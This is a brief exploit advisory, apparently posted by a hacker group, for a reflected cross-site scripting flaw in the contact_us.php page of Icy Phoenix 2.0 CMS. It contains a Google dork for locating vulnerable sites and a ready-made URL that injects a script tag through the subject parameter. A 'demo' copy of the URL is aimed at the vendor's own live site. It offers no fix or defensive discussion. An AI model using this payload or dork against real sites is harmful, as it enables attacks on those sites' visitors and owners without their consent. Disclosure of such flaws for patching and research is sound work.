Icy Phoenix 2.0 Cross Site Scripting

`Icy Phoenix 2.0 CMS Remote Cross Site Scripting Vulnerability  
  
<<!>> Found by : kurdish hackers team  
<<!>> C0ntact : pshela [at] YaHoo .com  
  
<<!>> Groups : Kurd-Team  
<<!>> site : www.kurdteam.org  
=======================================================  
+++++++++++++++++++ Script information+++++++++++++++++  
=======================================================  
<<->> script :: Icy Phoenix 2.0 CMS  
<<->> home script :: http://www.icyphoenix.com/dload.php?action=file&file_id=178  
=======================================================  
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++  
=======================================================  
<<->> google dork : Powered by Icy Phoenix  
or  
Design by Mighty Gorgon   
<<->> Exploit ::  
  
>>> www.site/path /contact_us.php?sid=9a2caa067fb983a628f27d1504eeb4a0^sender=&subject=%22%3E%3Cscript%3Ealert('hacked%20by%20kurdteam')%3C/script%3E&cc_email=1&confirm_code=&confirm_id=87cea145adae9369a3b296917a1dd501&submit=Send+e-mail  
  
demo:  
http://www.icyphoenix.com/contact_us.php?sid=9a2caa067fb983a628f27d1504eeb4a0^sender=&subject=%22%3E%3Cscript%3Ealert('hacked%20by%20kurdteam')%3C/script%3E&cc_email=1&confirm_code=&confirm_id=87cea145adae9369a3b296917a1dd501&submit=Send+e-mail  
=======================================================  
  
=======================================================  
<<->> All freinds , Zryan_kurd , all member kurdish hackers team  
`